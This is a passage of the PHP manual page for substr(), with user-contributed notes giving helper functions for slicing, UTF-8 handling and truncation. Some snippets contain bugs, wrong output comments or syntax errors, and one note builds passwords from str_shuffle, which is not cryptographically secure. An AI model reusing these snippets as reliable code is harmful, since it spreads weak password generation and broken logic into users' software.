echo "2) ".var_export(substr(54321, 0, 2), true).PHP_EOL;
echo "3) ".var_export(substr(new apple(), 0, 2), true).PHP_EOL;
echo "4) ".var_export(substr(true, 0, 1), true).PHP_EOL;
echo "5) ".var_export(substr(false, 0, 1), true).PHP_EOL;
echo "6) ".var_export(substr("", 0, 1), true).PHP_EOL;
echo "7) ".var_export(substr(1.2e3, 0, 4), true).PHP_EOL;
?>

The above example will output:

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) false
6) false
7) '1200'

Errors/Exceptions

Returns FALSE on error.

<?php
var_dump(substr('a', 1)); // bool(false)
?>

See Also

  • strrchr() - Find the last occurrence of a character in a string
  • substr_replace() - Replace text within a portion of a string
  • preg_match() - Perform a regular expression match
  • trim() - Strip whitespace (or other characters) from the beginning and end of a string
  • mb_substr() - Get part of string
  • wordwrap() - Wraps a string to a given number of characters
  • String access and modification by character

User Contributed Notes

jjanak at webperfection dot net 28-Oct-2014 09:51
interesting and maybe not so obvious behavior:

print substr('\\test', 2); // est
print substr('\\test',1); // test

if you take a closer look you will realize that the backslash was escaped, still i think it's interesting to mention :)
goren dot ali at NOSPAM dot yandex dot com 06-Sep-2014 12:08
II use my random password generator class

<?php
/*
  * Ali GOREN
  *
  *
*/

class SifreOlusturucu {

    //var $boyut; test

    function __construct($boyut = 8) { // 8 default, 14 or more good and recommended length
        $this->boyut = $boyut;
    }

    function sifreOlustur() {
        //$this->boyut;
        $karakterler = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_-=+;:,.?';
        $sifre = substr( str_shuffle( $karakterler ), 0, $this->boyut);
        print_r($sifre);
    }
}

$olustur = new SifreOlusturucu(16);
$olustur->sifreOlustur(); // output: wIsLiXzH1uP@hqSm
Anonymous 28-Aug-2014 07:14
substr() exhibits rather unexpected behavior with respect to when it returns "" and when it returns FALSE.  Specifically, the following appears to hold (tested on PHP 5.4.19):

*  if $string is "", it always returns FALSE

*  if ($start >= 0) and ($start >= strlen($string)) it returns FALSE

*  if ($start >= 0) and ($length<($start - strlen($string))) it returns FALSE

*  if ($start < 0) then it returns FALSE if *and only if* $length<-strlen($string).

No other cases return FALSE.
Note that in the last case, the position indicated by $start doesn't actually matter!

Also worth noting is that if you supply a $start that is < -strlen($string), it will be treated exactly as if you had set $start = strlen($string).

Here are some test cases to illustrate this behavior:

substr("",0,0) === FALSE
substr("",0,4) === FALSE
substr("",-2,4) === FALSE

substr("abc",3,0) === FALSE
substr("abc",3,10) === FALSE
substr("abc",3,-1) === FALSE
substr("abc",0,-4) === FALSE
substr("abc",2,-2) === FALSE
substr("abc",-1,-4) === FALSE
substr("abc",-4,-4) === FALSE
substr("abc",-5,-4) === FALSE
substr("abc",-10,-5) === FALSE

substr("abc",-10,-2) === "a"
substr("abc",-1,-3) === ""
substr("abc",-1,-2) === ""
substr("abc",-2,-3) === ""
substr("abc",0,0) === ""
substr("abc",-3,0) === ""
substr("abc",-10,0) === ""
substr("abc",-3,4) === "abc"
substr("abc",-10,20) === "abc"
substr("abc",-2,-2) === ""
substr("abc",-2,1) === "b"
substr("abc",0,-3) === ""
substr("abc",2,-1) === ""
Nadeem 03-Jun-2014 05:16
Truncate a float number. Similar to the Excel trunc function.

<?php
function truncate_number($val,$decimals=2){

        $number=array();
        $number=explode(".",$val);
        $result=0;

        if (count($number)>1){

            $result = $number[0] . "." . substr($number[1],0,$decimals);

        } else {

            $result = $val;

        }

        unset($number);

        return $result;
}

echo truncate_number(99.123456,2); //result = 99.12
echo truncate_number(99.123456,5); //result = 99.12345
echo truncate_number(99.123456,1); //result = 99.1
?>
php at richardneill dot org 07-Apr-2014 12:25
Frequently we want to check whether one string ends with (or starts with) another.  These may be useful:

function str_ends($string,$end){
    return (substr($string,-strlen($end),strlen($end)) === $end);
}
function str_begins($string,$start){
    return (substr($string,0,strlen($start)) === $start);
}

Example:
if (str_ends ($filename, ".jpg")){
   echo "The extension is .jpg";
}
koczkahun at gmail dot com 18-Mar-2014 02:34
For those who cannot use mb_substr for any reasons, here is a solution for Unicode strings:

function substr_unicode($str, $s, $l = null)
{
    $r = '/^.{'.(int)$s.'}(.';
    $r .= ($l === null) ? '*)$' : '{'.(int)$l.'})';
    $r .= '/su';
    preg_match($r, $str, $o); return $o[1];
}

It is EXTREMELY fast compared to the array_slice + join method suggested before, and moderately slower than mb_substr.

Note: you cannot use negative values.
Note 2: use mb_substr whenever you can. Only use this workaround if you can not use the library.
fatihmertdogancan at hotmail dot com 26-Jan-2014 05:28
[English]
I created python similar accesing list or string with php substr & strrev functions.

Use: str($string,$pattern)

About the python pattern,
http://docs.python.org/release/1.5.1p1/tut/strings.html
http://effbot.org/zone/python-list.htm

About of pattern structures
[start:stop:step]

Example,
<?php
$s = "fatihmertdogancan";
echo str($s,"1:9:-2");
echo "<br/>";
echo str($s,"1:-3:-2");
echo "<br/>";
echo str($s,"1:-11:-5");
echo "<br/>";
echo str($s,"1:9:4");
?>

Output,
thetoacn
eht
aom
htan

This is function phpfiddle link: http://phpfiddle.org/main/code/e82-y5d

or source;

<?php
    function str($str,$pattern){
        //[start:stop:step]
        //pattern ->            ([-]?[0-9]*|\s):([-]?[0-9]*|\s):([-]?[0-9]*|\s)
        preg_match("/([-]?[0-9]*|\s?):([-]?[0-9]*|\s?):?([-]?[0-9]*|\s?)/", $pattern, $yakala);
        $start = $yakala[1];
        $stop = $yakala[2];
        $step = $yakala[3];

        if(empty($start) && empty($stop) && $step == "-1"){//istisna durum
            return strrev($str);
        }else if(empty($start) && empty($stop) && isset($step)){//istisna durum
            $rev = "";
            $yeni = "";
            if($step[0] == "-" && $stop != "-1"){$rev = "VAR";}
            $atla = abs($step);
            for($i = 0; $i <= strlen($str); $i++){
                $offset = $i*$atla;
                if(isset($str[$offset])){
                    $yeni = $yeni.$str[$offset];
                }
            }
            if($rev != "VAR"){
                return substr($yeni,0,strlen($str)-1);
                //"hepsi boÅŸ, step dolu o da +";
            }else{
                return strrev(substr($yeni,0,strlen($str)-1));
                //"hepsi boÅŸ, step dolu o da -";
            }
        }

        if(empty($start) && empty($stop) && empty($step)){
            return $str;
            //"hepsi boÅŸ";
        }else if(empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,0,$stop);
                    //"start ve step boÅŸ, stop dolu"
                }else{
                    return strrev(substr($str,0,$stop));
                    //"start ve step boÅŸ, stop -1";
                }
            }else if(isset($stop) && isset($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return $str;
                        //"start boÅŸ, stop ve step dolu, step 1";
                    }else{
                        return strrev(substr($str,0,abs($stop))); //abs -> mutlak deÄŸer (-5 = 5)
                        //"start boÅŸ, stop -, step dolu, step 1";
                    }
                }else{
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,0,$stop);
                        //"start boÅŸ, step ve stop dolu";
                    }else{
                        return strrev(substr($yeni,0,abs($stop)));
                        //"start boÅŸ, step ve stop -";
                    }
                }
            }
        //start boÅŸ deÄŸilse
        }else if(!empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,$start,$stop);
                    //return "step boÅŸ, start ve stop dolu";
                }else{
                    return strrev(substr($str,0,abs($stop)));
                    //"step boÅŸ, start ve stop dolu, stop -";
                }
            }else if(isset($stop) && isset($step)){

                //hepsi dolu
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                $yeni = "";
                if($step == 1){
                    if($rev != "VAR"){
                        return substr($str,$start,$stop);
                        //"hepsi dolu, step 1";
                    }else{
                        return substr($str,$start,abs($stop));
                        //"hepsi dolu, step 1, stop -";
                    }
                }else{
                    if($stop[0] == "-"){$rev = "VAR";}
                    $atla = abs($step);
                    for($i = 0; $i <= strlen($str); $i++){
                        $offset = $i*$atla;
                        if(isset($str[$offset])){
                            $yeni = $yeni.$str[$offset];
                        }
                    }
                    if($rev != "VAR"){
                        return substr($yeni,$start,$stop);
                        //"hepsi dolu";
                    }else{
                        return strrev(substr($yeni,$start,abs($stop)));
                        //"hepsi dolu, stop -";
                    }
                }
            }
        }
    }
?>

Good works..
greg at apparel dot com 21-Nov-2013 02:28
Coming to PHP from classic ASP I am used to the Left() and Right() functions built into ASP so I did a quick PHPversion. hope these help someone else making the switch

function left($str, $length) {
    return substr($str, 0, $length);
}

function right($str, $length) {
    return substr($str, -$length);
}
nanhe dot kumar at gmail dot com 14-Sep-2013 06:19
<?php
$string="NanheKumar";
echo substr($string,0,5); //Nanhe
echo substr($string,5); //Kumar
echo substr($string,-4); //umar
echo substr($string,-4,2); //um
echo substr($string,2,6); //umnheKum
?>
fengdingbo at gmail dot com 19-Jul-2013 01:23
<?php
$a = 'abc';
$php = 'ok123';
$str = microtime(TRUE);
for($i=0;$i<=1000000;$i++)
    $a = substr($php,1,1);
echo microtime(true)-$str,"\n";
$str = microtime(TRUE);
for($i=0;$i<=1000000;$i++)
    $a = $php[1];
echo microtime(true)-$str;
?>
output:
0.26694822311401
0.10447096824646
biohazard dot ge at gmail dot com 15-Jul-2013 11:30
may be by following functions will be easier to extract the needed sub parts from a string:

<?php
after ('@', 'biohazard@online.ge');
//returns 'online.ge'
//from the first occurrence of '@'

before ('@', 'biohazard@online.ge');
//returns 'biohazard'
//from the first occurrence of '@'

between ('@', '.', 'biohazard@online.ge');
//returns 'online'
//from the first occurrence of '@'

after_last ('[', 'sin[90]*cos[180]');
//returns '180]'
//from the last occurrence of '['

before_last ('[', 'sin[90]*cos[180]');
//returns 'sin[90]*cos['
//from the last occurrence of '['

between_last ('[', ']', 'sin[90]*cos[180]');
//returns '180'
//from the last occurrence of '['
?>

here comes the source:

<?php

    function after ($this, $inthat)
    {
        if (!is_bool(strpos($inthat, $this)))
        return substr($inthat, strpos($inthat,$this)+strlen($this));
    };

    function after_last ($this, $inthat)
    {
        if (!is_bool(strrevpos($inthat, $this)))
        return substr($inthat, strrevpos($inthat, $this)+strlen($this));
    };

    function before ($this, $inthat)
    {
        return substr($inthat, 0, strpos($inthat, $this));
    };

    function before_last ($this, $inthat)
    {
        return substr($inthat, 0, strrevpos($inthat, $this));
    };

    function between ($this, $that, $inthat)
    {
        return before ($that, after($this, $inthat));
    };

    function between_last ($this, $that, $inthat)
    {
     return after_last($this, before_last($that, $inthat));
    };

// use strrevpos function in case your php version does not include it
function strrevpos($instr, $needle)
{
    $rev_pos = strpos (strrev($instr), strrev($needle));
    if ($rev_pos===false) return false;
    else return strlen($instr) - $rev_pos - strlen($needle);
};
?>
pugazhenthi k 18-Jan-2013 06:57
<?Php

### SUB STRING  BY WORD USING substr() and strpos()  #####

### THIS SCRIPT WILL RETURN PART OF STRING  WITHOUT WORD BREAK ###

$description = â€˜your description here your description here your description here your description here your description here your description here your description hereyour description here your description hereâ€™  // your description here .

$no_letter = 30 ;

if(strlen($desctiption) > 30 )
{
     echo substr($description,0,strpos($description,â€™ â€˜,30));             //strpos to find â€˜ â€˜ after 30 characters.
}
else {
     echo $description;
}

?>
pheagey at gmail dot com 15-Jun-2012 11:27
Using a 0 as the last parameter for substr().

As per examples
<?php $var = substr($var, 4); ?>

works no problem. However
<?php $var = substr($var, 4, 0); ?>

will get you nothing. Just a quick heads up
maxim at inbox dot ru 28-Jan-2012 01:43
Here is a recursion function to get parts of passed string which are in a char. Func looks pretty, and works fast, tell me please if you find more opt way.
<?php
$s = "info= &make&,endvcc &new& &another&info";
echo str_cut($s,"&",",");
//output:
//make,new,another

function str_cut($s,$a,$d="")
{
    $f=strpos($s,$a)+1;
    $l=strpos($s,$a,$f);
    $out= substr($s,$f,$l-$f);
                if
    (strpos($s,$a,$l+1)!==false)
    {$s=substr($s,$l+1);$out.=$d.str_cut($s,$a,$d);}
return $out;
}
?>

it is possible to output in array, you have to returns a var as an array.
Also you can add an extra needle, which would be compare with the end of strings :
replace to
$l=strpos($s,$b,$f)-$f;
and dont forget to pass into recursion call $b value, but i did like that
$b=func_get_arg(func_num_args()-1);
care! the last argument should be $a, because $b getting last arg. like that:
function str_cut($s,$d="",$a)
but i think this method of getting $b not the best way for perfomance.
Sorry for my English.
leon weidauer 08-Jul-2011 10:07
When using a value of a wrong type as second parameter , substr() does not return FALSE but NULL although the docs say, it should return FALSE on error.

Prior to PHP 5.3, substr() tries to cast the second parameter to int and doesn't throw any errors. Since PHP 5.3 a warning is thrown.
Quicker 06-May-2011 01:17
If you need to parse utf-8 strings char by char, try this one:

<?php
     $utf8marker=chr(128);
     $count=0;
     while(isset($string{$count})){
       if($string{$count}>=$utf8marker) {
         $parsechar=substr($string,$count,2);
         $count+=2;
       } else {
         $parsechar=$string{$count};
         $count++;
       }
       /* do what you like with parsechar ... , eg.:*/  echo $parsechar."<BR>\r\n";
     }
?>

- it works without mb_substr
- it is fast, because it grabs characters based on indexes  when possible and avoids any count and split functions
slow at acedsl dot com 28-Mar-2011 10:47
Anyone coming from the Python world will be accustomed to making substrings by using a "slice index" on a string.  The following function emulates basic Python string slice behavior. (A more elaborate version could be made to support array input as well as string, and the optional third "step" argument.)

<?php

function py_slice($input, $slice) {
    $arg = explode(':', $slice);
    $start = intval($arg[0]);
    if ($start < 0) {
        $start += strlen($input);
    }
    if (count($arg) === 1) {
        return substr($input, $start, 1);
    }
    if (trim($arg[1]) === '') {
        return substr($input, $start);
    }
    $end = intval($arg[1]);
    if ($end < 0) {
        $end += strlen($input);
    }
    return substr($input, $start, $end - $start);
}

print py_slice('abcdefg', '2') . "\n";
print py_slice('abcdefg', '2:4') . "\n";
print py_slice('abcdefg', '2:') . "\n";
print py_slice('abcdefg', ':4') . "\n";
print py_slice('abcdefg', ':-3') . "\n";
print py_slice('abcdefg', '-3:') . "\n";

?>

The $slice parameter can be a single character index, or a range separated by a colon. The start of the range is inclusive and the end is exclusive, which may be  counterintuitive. (Eg, py_slice('abcdefg', '2:4') yields 'cd' not 'cde'). A negative range value means to count from the end of the string instead of the beginning. Both the start and end of the range may be omitted; the start defaults to 0 and the end defaults to the total length of the input.

The output from the examples:
c
cd
cdefg
abcd
abcd
efg
nikolai dot wuestemann at t-online dot de 14-Jan-2011 05:56
If you want to have a string BETWEEN two strings, just use this function:

<?php
function get_between($input, $start, $end)
{
  $substr = substr($input, strlen($start)+strpos($input, $start), (strlen($input) - strpos($input, $end))*(-1));
  return $substr;
}

//Example:

$string = "123456789";
$a = "12";
$b = "9";

echo get_between($string, $a, $b);

//Output:
//345678
?>
Cristianlf 29-Oct-2010 11:10
I needed a function like lpad from oracle, or right from SQL
 then I use this code :

<?php
function right($string,$chars)
{
    $vright = substr($string, strlen($string)-$chars,$chars);
    return $vright;

}

    echo right('0r0j4152',4);
?>

Result:
 4152
------------------------------------------------
This function is really simple, I just wanted to share, maybe helps someone out there.

regards,
magickey 18-Oct-2010 11:23
Simple UTF-8 Multibyte solution (without mb_substr)

<?php
  $string="texto en espaÃ±ol";
  echo substr($string,0,14); //Outputs: texto en espaï¿½
?>

<?php
  $string="texto en espaÃ±ol";
  echo utf8_encode(substr(utf8_decode($string),0,14)); //Outputs: texto en espaÃ±
?>
joseph dot davidson dot 707 at gmail dot com 09-Oct-2010 09:58
Using substr() to examine characters of a string without altering the string.

<?php
$string = 'This is my string';
$length = strlen($string);
$myChar = 'm';

for($i = 0; $i < $length; $i++) {

    $showString_i = substr($string, $i, 1);
    if($myChar == $showString_i) return $i;
}
?>

can also examine subs.
jeff dot swain at pcmmllc dot com 20-Jul-2010 02:00
I noticed a slight issue when parsing out long strings using the substr function.

Here is my string: $merge = "UPDATE AssistanceRequest SET RequestorID = '4301' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

To parse out the WHERE portion I used:
$whereClause = substr($merge, strpos($merge,'WHERE', (strlen($merge) - strpos($merge,'WHERE'))));
Normally the function returned: $whereClause = "WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

This $whereClause gives me the WHERE clause to modify the MSSQL database records being manipulated. So that when I used $whereClause as the WHERE clause to create subsequent SQL, I used the following syntax: $setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' " . $whereClause;

This should have returned: $setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

As long as the length of the original $merge string was less than 104 characters, the $setDeleteFlag sql came out correctly. However, when the length of the original $merge string exceeded 104 characters, I got this returned:

$setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' WHERE RequestorID IN ( '4535','6222','4865','5137','4893')"

The result was that the bIsDirty field for every record in the database was set to 'DELETE'. I fixed it by breaking apart the substr to create the original $whereClause so that it looked like this:

$wherePosition = strpos($merge,'WHERE');
$whereClause = substr($merge, $wherePosition, strlen($merge) - $wherePosition);
$setDeleteFlag = "UPDATE AssistanceRequestor SET bIsDirty = 'DELETE' " . $whereClause;

I do have to note that I run PHP 5.x on my development server, while I think the production host is still on 4.x. I did not seem to have an issue in development, but I don't think I tested strings longer than 104 characters. Maybe this issue has been corrected in version 5.x.
Jarrod Nettles (jarrod at squarecrow dot com) 01-Feb-2010 09:46
I've seen numerous requests over the years from people trying to put together templating systems using XML parsers or regular expressions - you can create a simple template system with the following class. It could easily be expanded to take advantage of parameters, conditionals, etc.

<?php

class Template
{
    const OPEN_BRACKET = "{";
    const CLOSE_BRACKET = "}";

    public static function inject(array $source, $template)
    {
        $ob_size = strlen(self::OPEN_BRACKET);
        $cb_size = strlen(self::CLOSE_BRACKET);

        $pos = 0;
        $end = strlen($template);

        while($pos <= $end)
        {
            if($pos_1 = strpos($template, self::OPEN_BRACKET, $pos))
            {
                if($pos_1)
                {
                    $pos_2 = strpos($template, self::CLOSE_BRACKET, $pos_1);

                    if($pos_2)
                    {
                        $return_length = ($pos_2-$cb_size) - $pos_1;

                        $var = substr($template, $pos_1+$ob_size, $return_length);

                        $template = str_replace(self::OPEN_BRACKET.$var.self::CLOSE_BRACKET, $source[$var], $template);

                        $pos = $pos_2 + $cb_size;
                    }
                    else
                    {
                        throw new exception("Incorrectly formed template - missing closing bracket. Please check your syntax.");
                        break;
                    }
                }
            }
            else
            {
                //exit the loop
                break;
            }
        }

        return $template;
    }

}

//array of values to inject into the template
$array = array("NAME" => "John Doe",
                "DOB"    => "12/21/1986",
                "ACL" => "Super Administrator");

//template using '{' and '}' to signify variables
$template = "This is your template, {NAME}. You were born on {DOB} and you are a {ACL} on this system.";

echo Template::inject($array, $template);
?>
vnonov at gmail dot com / Viktor Nonov 28-Jan-2010 07:32
<?php

//removes string from the end of other

function removeFromEnd($string, $stringToRemove) {
    $stringToRemoveLen = strlen($stringToRemove);
    $stringLen = strlen($string);

    $pos = $stringLen - $stringToRemoveLen;

    $out = substr($string, 0, $pos);

    return $out;
}

$string = 'picture.jpg.jpg';
$string = removeFromEnd($string, '.jpg');
?>
biner(gf) 19-Nov-2009 06:46
<?php
//substring without words breaking

$str = "aa bb ccc ddd ee fff gg hhh iii";

echo substr(($str=wordwrap($str,$,'$$')),0,strpos($str,'$$'));
?>
kaj dot strom at kapsi dot fi 05-Oct-2009 01:42
One thing to keep in mind when using string indexes and UTF-8 is that string indexes are NOT multi-byte safe.

<?php
$string = 'Ã¤Ã¤Ã¤1';
echo $string[3];
?>

Outputs:
Â¤

When it logically should output "1". This is not a bug, as PHP 'normal' string functions are not intended to be multi-byte safe. This can be solved by using this function

<?php
/**
 *
 * @param string $string String to "search" from
 * @param int $index Index of the letter we want.
 * @return string The letter found on $index.
 */
function charAt($string, $index){
    if($index < mb_strlen($string)){
        return mb_substr($string, $index, 1);
    }
    else{
        return -1;
    }
}
?>
gkhelloworld at gmail dot com 26-Jul-2009 12:39
Shortens the filename and its expansion has seen.

<?php
$file = "Hellothisfilehasmorethan30charactersandthisfayl.exe";

function funclongwords($file)
{
if (strlen($file) > 30)
{
$vartypesf = strrchr($file,".");
$vartypesf_len = strlen($vartypesf);
$word_l_w = substr($file,0,15);
$word_r_w = substr($file,-15);
$word_r_a = substr($word_r_w,0,-$vartypesf_len);

return $word_l_w."...".$word_r_a.$vartypesf;
}
else
return $file;
}
// RETURN: Hellothisfileha...andthisfayl.exe
?>
kaysar in ymail in com 08-Jun-2009 08:58
Drop extensions of a file (even from a file location string)

<?php

$filename = "c:/some dir/abc defg. hi.jklmn";

echo substr($filename, 0, (strlen ($filename)) - (strlen (strrchr($filename,'.'))));

?>

output: c:/some dir/abc defg. hi

Hope it may help somebody like me.. (^_^)
benny at bennyborn dot de 06-May-2009 10:52
If you need a word-sensitive and also html-tags aware version of substr, this one should do the job. It works fine for me

<?php
/**
* word-sensitive substring function with html tags awareness
* @param text The text to cut
* @param len The maximum length of the cut string
* @returns string
**/
function substrws( $text, $len=180 ) {

    if( (strlen($text) > $len) ) {

        $whitespaceposition = strpos($text," ",$len)-1;

        if( $whitespaceposition > 0 )
            $text = substr($text, 0, ($whitespaceposition+1));

        // close unclosed html tags
        if( preg_match_all("|<([a-zA-Z]+)>|",$text,$aBuffer) ) {

            if( !empty($aBuffer[1]) ) {

                preg_match_all("|</([a-zA-Z]+)>|",$text,$aBuffer2);

                if( count($aBuffer[1]) != count($aBuffer2[1]) ) {

                    foreach( $aBuffer[1] as $index => $tag ) {

                        if( empty($aBuffer2[1][$index]) || $aBuffer2[1][$index] != $tag)
                            $text .= '</'.$tag.'>';
                    }
                }
            }
        }
    }

    return $text;
}
?>
Andreas Bur (andreas dot buro at gmail dot com) 29-Apr-2009 03:25
For getting a substring of UTF-8 characters, I highly recommend mb_substr

<?php
        $utf8string = "cakeÃ¦Ã¸Ã¥";

        echo substr($utf8string,0,5);
        // output cake#
        echo mb_substr($utf8string,0,5,'UTF-8');
        //output cakeÃ¦
?>
webmaster at oehoeboeroe dot nl 18-Apr-2009 11:07
You might expect substr('123456', 6) to return an empty string. Instead it returns boolean FALSE.

This behavior should be mentioned in the Return Values section of the manual. Instead it is only mentioned in the Parameters section.

If you need an empty string instead of a boolean FALSE you should typecast the result to a string.

<?php
$a = substr('123456', 6);              // equivalent to $a = FALSE
$a = (string) substr('123456', 6);   // equivalent to $a = '';
?>
sajjad at sajjad dot biz 08-Apr-2009 09:28
Substring utf-8 strings!
very simple!

<?php
function substru($str,$from,$len){
    return preg_replace('#^(?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $from .'}'.'((?:[\x00-\x7F]|[\xC0-\xFF][\x80-\xBF]+){0,'. $len .'}).*#s','$1', $str);
}
?>
link 22-Mar-2009 02:52
And as always there is bound to be a bug:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;($i<=$end && isset($textarray[$i]));$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
link 21-Mar-2009 04:19
I created some functions for entity-safe splitting+lengthcounting:

<?php
function strlen_entities($text)
{
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    return count($textarray[0]);
}
function substr_entities($text,$start,$limit=0)
{
    $return = '';
    preg_match_all(
        '/((?:&(?:#[0-9]{2,}|[a-z]{2,});)|(?:[^&])|'.
        '(?:&(?!\w;)))s',$text,$textarray);
    $textarray = $textarray[0];
    $numchars = count($textarray)-1;
    if ($start>=$numchars)
        return false;
    if ($start<0)
    {
        $start = ($numchars)+$start+1;
    }
    if ($start>=0)
    {
        if ($limit==0)
        {
            $end=$numchars;
        }
        elseif ($limit>0)
        {
            $end = $start+($limit-1);
        }
        else
        {
            $end = ($numchars)+$limit;
        }

        for ($i=$start;$i<=$end;$i++)
        {
            $return .= $textarray[$i];
        }
        return $return;
    }
}
?>
mar dot czapla at gmail dot com 24-Oct-2008 11:31
Here we have gr8 function which simply convert ip address to a number using substr with negative offset.
You can need it if you want to compare some IP addresses converted to a numbers.
For example when using ip2country, or eliminating same range of ip addresses from your website :D

<?php

function ip2no($val)
{
    list($A,$B,$C,$D)    =    explode(".",$val);
    return
        substr("000".$A,-3).
        substr("000".$B,-3).
        substr("000".$C,-3).
        substr("000".$D,-3);
}

$min        =    ip2no("10.11.1.0");
$max        =    ip2no("111.11.1.0");
$visitor    =    ip2no("105.1.20.200");

if($min<$visitor && $visitor<$max)
    {    echo 'Welcome !';    }
else
    {    echo 'Get out of here !';    }

?>
mr.davin 29-Sep-2008 07:01
Simple use of substr to determine possession:

<?php
function possessive ($word) {
    return  $word.(substr($word, -1) == 's' ? "'" : "'s");
}

// Davis => Davis'
// Paul => Paul's
?>
NULL_byte 19-Sep-2008 12:21
<?php

function insert_substr($str, $pos, $substr) {
    $part1 = substr($str, 0, -$pos);
    $part2 = substr($str, -$pos);
    return $part1.$substr.$part2;
}

?>
post [at] jannik - zappe [dot] de 05-Aug-2008 04:59
Just a little function to cut a string by the wanted amount. Works in both directions.

<?php
function cutString($str, $amount = 1, $dir = "right")
{
  if(($n = strlen($str)) > 0)
  {
    if($dir == "right")
    {
      $start = 0;
      $end = $n-$amount;
    } elseif( $dir == "left") {
      $start = $amount;
      $end = $n;
    }

    return substr($str, $start, $end);
  } else return false;
}
?>

Enjoy ;)
Anonymous 29-Jul-2008 08:18
I wrote this simple function to limit the middle characters of a string to a specified length.

<?php
$input = "hello world"
echo(limitchrmid($imput,10)) // hel ... rld

//limit chars middle
function limitchrmid($value,$lenght){
    if (strlen($value) >= $lenght ){
        $lenght_max = ($lenght/2)-3;
        $start = strlen($value)- $lenght_max;
        $limited = substr($value,0,$lenght_max);
        $limited.= " ... ";
        $limited.= substr($value,$start,$lenght_max);
    }
    else{
        $limited = $value;
    }
    return $limited;
}
?>
Anonymous 17-Mar-2008 12:53
Split a string to an array of strings specified by an array of lengths:

<?php
function split_by_lengths($inString, $arrayLengths)
{
    $output = array();
    foreach ($arrayLengths as $oneLength)
    {
        $output[] = substr($inString, 0, $oneLength);
        $inString = substr($inString, $oneLength);
    }
    return ($output);
}
?>
split_by_lengths('teststringtestteststring', array(4,6,4,4,6)) returns:
array('test','string','test','test','string')

Don't use it on user input without some error handling!
kriskra at gmail dot com 01-Mar-2008 02:21
The javascript charAt equivalent in php of felipe has a little bug. It's necessary to compare the type (implicit) aswell or the function returns a wrong result:
<?php
function charAt($str,$pos) {
    return (substr($str,$pos,1) !== false) ? substr($str,$pos,1) : -1;
}
?>
Anonymous 23-Feb-2008 02:12
I've used the between, after, before, etc functions that biohazard put together for years and they work great.  I've also added to it a new function that I use a lot and thought others might like it as well.  It uses his before/after functions so they are required to use it.

<?php
$example_html = "<p>test1 Test2</p><title>hi there</title><p>Testing</p>";
$paragraph_text = multi_between('<p>', '</p>', $example_html);

//Prints an arry of:
//Array ( [1] => test1 Test2 [2] => Testing )
print_r($paragraph_text);

function multi_between($this, $that, $inthat)
{
   $counter = 0;
   while ($inthat)
   {
      $counter++;
      $elements[$counter] = before($that, $inthat);
      $elements[$counter] = after($this, $elements[$counter]);
      $inthat = after($that, $inthat);
   }
   return $elements;
}
//Get the help functions from biohazard's post below.
?>
highstrike at gmail dot com 06-Jan-2008 05:47
Because i didnt see a function that would cut a phrase from a text (article or whatever) no matter where, front/middle/end and add ... + keeping the words intact, i wrote this:

Usage:
- The parameter $value if array will need the whole text and the portion you want to start from, a string. EG: cuttext(array($text, $string), 20). If the string is "have" and is near the beginning of the text, the function will cut like "I have a car ...", if the string is in the middle somewhere it will cut like "... if you want to have your own car ..." and if its somewhere near the end it will cut like "... and you will have one."
- The $length parameter is self explanatory.

Note: if you have just a string "127hh43h2h52312453jfks2" and you want to cut it, just use the function like so: cuttext($string, 10) and it will cut it like "127hh43h2h..."

<?php

////////////////////////////////////////////////////////
// Function:         cuttext
// Description: Cuts a string and adds ...

function cuttext($value, $length)
{
    if(is_array($value)) list($string, $match_to) = $value;
    else { $string = $value; $match_to = $value{0}; }

    $match_start = stristr($string, $match_to);
    $match_compute = strlen($string) - strlen($match_start);

    if (strlen($string) > $length)
    {
        if ($match_compute < ($length - strlen($match_to)))
        {
            $pre_string = substr($string, 0, $length);
            $pos_end = strrpos($pre_string, " ");
            if($pos_end === false) $string = $pre_string."...";
            else $string = substr($pre_string, 0, $pos_end)."...";
        }
        else if ($match_compute > (strlen($string) - ($length - strlen($match_to))))
        {
            $pre_string = substr($string, (strlen($string) - ($length - strlen($match_to))));
            $pos_start = strpos($pre_string, " ");
            $string = "...".substr($pre_string, $pos_start);
            if($pos_start === false) $string = "...".$pre_string;
            else $string = "...".substr($pre_string, $pos_start);
        }
        else
        {
            $pre_string = substr($string, ($match_compute - round(($length / 3))), $length);
